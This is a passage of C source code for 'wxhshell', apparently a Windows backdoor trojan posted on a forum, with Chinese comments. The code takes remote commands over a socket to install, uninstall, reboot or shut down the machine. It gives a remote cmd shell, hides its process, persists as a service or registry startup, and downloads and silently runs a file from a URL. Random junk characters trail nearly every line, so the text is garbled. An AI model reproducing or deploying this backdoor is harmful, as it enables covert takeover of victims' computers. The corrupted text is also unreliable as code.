      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O']-<E`1k  
    break; p ^T0(\1  
  } $--W,ov5j  
  // 安装 Hb IRE  
  case 'i': { <T<?7SE+  
    if(Install()) D24@lZ`g~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YWjw`,EA(  
    else $Y 7q2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < JA5.6<=  
    break; Bxak[>/  
    } 3-srt^>w*  
  // 卸载 r0}Z&>]66N  
  case 'r': { E[^66(KR  
    if(Uninstall()) 6 C;??Y>b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Z2;sA  
    else $ !ka8) ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z`5d,M  
    break; X5'foFE'  
    } V6Z2!Ht  
  // 显示 wxhshell 所在路径 -@e9!/GP,  
  case 'p': { A F>!:  
    char svExeFile[MAX_PATH]; mRFcZ.7  
    strcpy(svExeFile,"\n\r");  g&#.zJ[-  
      strcat(svExeFile,ExeFile); I[G<aI!  
        send(wsh,svExeFile,strlen(svExeFile),0); D8qZh1w%A|  
    break; {088j?[hzk  
    } vEOoG>'Zq  
  // 重启 :J5xO%WA(  
  case 'b': { P$4G2>D8dg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n ;y<!L7  
    if(Boot(REBOOT)) v|"Nx42  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D`2Iy.|!  
    else { Mq8jPjL  
    closesocket(wsh); NAlYfbp  
    ExitThread(0); +t})tDPXw  
    } ?,O{,2}  
    break; D*I%=);B_  
    } 6m|j " m  
  // 关机 Ft#d & I  
  case 'd': { [0w @0?[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `c ^2  
    if(Boot(SHUTDOWN)) }L3kpw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N{ @B@]  
    else { D<]z.33  
    closesocket(wsh); -P^ 6b(  
    ExitThread(0); nPD5/xW  
    } {YT!vD9.  
    break; Yu>VW\Fb  
    } 8S"vRR  
  // 获取shell :"#EQq]ct  
  case 's': { S1.w^Ccy  
    CmdShell(wsh); 49E<`f0  
    closesocket(wsh); wWQv]c%  
    ExitThread(0); SoI"a^fY  
    break; Kzfa4C  
  } )#N)w5DU  
  // 退出 rp (nGiI  
  case 'x': { c~K^ooS-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PTXy:>]M  
    CloseIt(wsh); qe8dpI;  
    break; OEnJ".&V  
    } 7aj|-gZ  
  // 离开 M1^,g~e  
  case 'q': { )4vZIU#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |X,T>{V?y  
    closesocket(wsh); pdX%TrM+[:  
    WSACleanup(); PqZMuUd  
    exit(1); Es/\/vF7]D  
    break; DJ2EV^D+P  
        } VPx"l5\  
  } M}kt q)  
  } u_[s+ J/  
{L$]NQdz  
  // 提示信息 Kz:g9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?6P P_QY  
} QWp,(Mv:r  
  } VImcW;Xa  
C0|<+3uND=  
  return; '5\7>2fI  
} @kw#\%Uz  
%6}S1fuA  
// shell模块句柄 \BOZhXfl'  
int CmdShell(SOCKET sock) '8R5?9"  
{ wuSp+?{5k  
STARTUPINFO si; u=JI 1  
ZeroMemory(&si,sizeof(si)); RcIGIt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t."hAvRL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %"Q{|}  
PROCESS_INFORMATION ProcessInfo; gJ6 C&8tl  
char cmdline[]="cmd"; F:"<4hiA"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a;jXMR  
  return 0; /B73|KB+  
} 03Pa; n  
g .ty#Z=:  
// 自身启动模式 R}'kF63u*  
int StartFromService(void) 6Lk<VpAa  
{ |r[yMI|VR  
typedef struct 2 UU5\ jV6  
{ |!NKKvf  
  DWORD ExitStatus; L s6P<"V  
  DWORD PebBaseAddress; k7yQEU  
  DWORD AffinityMask; 1bs 8fUPB3  
  DWORD BasePriority; B:Ec(USe  
  ULONG UniqueProcessId; >bWx!M]  
  ULONG InheritedFromUniqueProcessId; ~0aWjMc(>  
}   PROCESS_BASIC_INFORMATION; _-$O6eZ  
eY^;L_7}p  
PROCNTQSIP NtQueryInformationProcess; MQ>.^]B]o  
6m"_=.k%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %T4htZa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b1Bu5%bt,:  
KLK '_)|CT  
  HANDLE             hProcess; m_{OCHS+  
  PROCESS_BASIC_INFORMATION pbi; P{v>o,a.  
, v,mBYaU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <8nl}^d5  
  if(NULL == hInst ) return 0; FjYih>  
%y ;E1pva  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7714}%Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ta^l1]9.*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); chv0\k"'  
N% /if  
  if (!NtQueryInformationProcess) return 0; *vqlY[2Ax  
`oQ)qa_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V~ph1Boz2  
  if(!hProcess) return 0; }GX[N\$N  
SA@MJ>Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \lwYDPY:  
x-O9|%aRJ  
  CloseHandle(hProcess); :a3  +f5  
`\LhEnIwu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ov>Rvy  
if(hProcess==NULL) return 0; a'=C/ s+  
gRA}sF  
HMODULE hMod; 72@lDY4cE  
char procName[255]; c#X9d8>  
unsigned long cbNeeded; +rse,b&U(  
_X5@%/Vz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9fp@d  
2]W"sT[  
  CloseHandle(hProcess); a-w=LpVM  
)vVt{g  
if(strstr(procName,"services")) return 1; // 以服务启动 8Yfg@"Tn  
l`D^)~o8  
  return 0; // 注册表启动 ljg2P5  
} ;O` \rP5w  
[C 1o9c!  
// 主模块 ^M36=~j  
int StartWxhshell(LPSTR lpCmdLine) mv9k_7<  
{ *opf~B_e  
  SOCKET wsl; J!r,ktO^U?  
BOOL val=TRUE; (`h$+p^-y  
  int port=0; *{/ ww9fT  
  struct sockaddr_in door; q2v:lSFY  
0\3mS{s  
  if(wscfg.ws_autoins) Install(); nk.m G ny  
j/"{tMqQp  
port=atoi(lpCmdLine); U(#)[S,  
eHr|U$Rpo  
if(port<=0) port=wscfg.ws_port; pm$ZKM  
|tL57Wu93  
  WSADATA data; tj:3R$a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H}G=%j0  
=*EIe z*.x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @pq#?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *xm(K +j  
  door.sin_family = AF_INET; HsrIw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c"qaULY  
  door.sin_port = htons(port); jSa9UD  
TS0x8,'$q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X"QIH|qx-  
closesocket(wsl); 0uX"KL]Elf  
return 1; R  Fgy  
} q;co53.+P)  
];BGJ5^j  
  if(listen(wsl,2) == INVALID_SOCKET) { 01v7_*'R  
closesocket(wsl); 4u} "ng   
return 1; |GPR3%9  
} 8vFt<k}G  
  Wxhshell(wsl); m# #( uSh  
  WSACleanup(); 0ox 8_l  
;{1J{-EA  
return 0; ,nn5LQ|l.j  
`m2e *  
} C9l5zb~D  
(eX9O4  
// 以NT服务方式启动 v=!Ap ; 2L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WT(inf[  
{ &0B< iO<f  
DWORD   status = 0; d&S4`\g?8  
  DWORD   specificError = 0xfffffff; Jh1Q)05  
Ki#({~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }$DLa#\-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hjCFN1 #Sa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zh5'oE&[yC  
  serviceStatus.dwWin32ExitCode     = 0; dre@V(\;hQ  
  serviceStatus.dwServiceSpecificExitCode = 0; X r7pFw  
  serviceStatus.dwCheckPoint       = 0; '[u=q -Lv  
  serviceStatus.dwWaitHint       = 0; RQ?T~ASs  
/18Z4TA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R#j -Z#/"  
  if (hServiceStatusHandle==0) return; rMDo5Z2  
2+KOUd&jS  
status = GetLastError(); <~aQ_l  
  if (status!=NO_ERROR)  _@es9  
{ K:}~8 P>^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Be"Swz(n  
    serviceStatus.dwCheckPoint       = 0; QuuR_Ao?c'  
    serviceStatus.dwWaitHint       = 0; |ocIp/ $  
    serviceStatus.dwWin32ExitCode     = status; $HjKELoJ<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?Y6MC:l<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); om3$=  
    return; -rE_pV;  
  } } sTo,F$  
uP,{yna(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s|3@\9\  
  serviceStatus.dwCheckPoint       = 0; ]8,:E ]`O  
  serviceStatus.dwWaitHint       = 0; B35zmFX|}N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $'$#Xn,hU  
} _4E . P  
W}+f}/&l  
// 处理NT服务事件,比如:启动、停止 =GO/r; 4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )c9]}:W&  
{ 5 `:+NwXS2  
switch(fdwControl) U3SF'r8  
{ ">b~k;M?  
case SERVICE_CONTROL_STOP: P3[+c4  
  serviceStatus.dwWin32ExitCode = 0; bkmW[w:M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -VK 6Fq  
  serviceStatus.dwCheckPoint   = 0; - w41Bvz0  
  serviceStatus.dwWaitHint     = 0; rE?(_LI  
  { RG(m:N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s3m]rC  
  } ?h`Ned0P  
  return; ] iKFEd  
case SERVICE_CONTROL_PAUSE: ?3 :OPP`s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e@k`C{{C]o  
  break; /m,0H)w1  
case SERVICE_CONTROL_CONTINUE: _!FM^N}|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bDdJh}Vz  
  break; X1*6qd+E  
case SERVICE_CONTROL_INTERROGATE: XOl]s?6H$  
  break; s>sIji  
}; z1\G,mJK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mwdh]I,#  
} .K![<e Z  
/'|'3J]HP  
// 标准应用程序主函数 m35Blg34  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A`4Di8'Me  
{ Q(lj &!?1k  
|_l\.  
// 获取操作系统版本 >V~q`htth  
OsIsNt=GetOsVer(); @Z$`c{V<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @_0 g "Ul  
uM0!,~&9|  
  // 从命令行安装 0x'-\)v>3  
  if(strpbrk(lpCmdLine,"iI")) Install(); i<D}"h|  
%hK?\Pg3=E  
  // 下载执行文件 NN5V|# P}  
if(wscfg.ws_downexe) { &s!"pEZWck  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]2n&DJu  
  WinExec(wscfg.ws_filenam,SW_HIDE); t+0&B"  
} f~Dl;f~H_;  
cvn4Q-^  
if(!OsIsNt) { \GtZX!0  
// 如果时win9x,隐藏进程并且设置为注册表启动 :"ZH  
HideProc(); u>;#.N/  
StartWxhshell(lpCmdLine); S=O/W(ZB  
} -&Fxg>FrYb  
else 2G"mm (   
  if(StartFromService()) m{={a5GD  
  // 以服务方式启动 .vRLK  
  StartServiceCtrlDispatcher(DispatchTable); &J|3uY,'j  
else 3j.Ft*SV  
  // 普通方式启动 9GS<d.#Nvc  
  StartWxhshell(lpCmdLine); Xu#\CYk  
gF% lwq  
return 0; L1u  
}
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只看该作者 1 发表于: 2006-10-10
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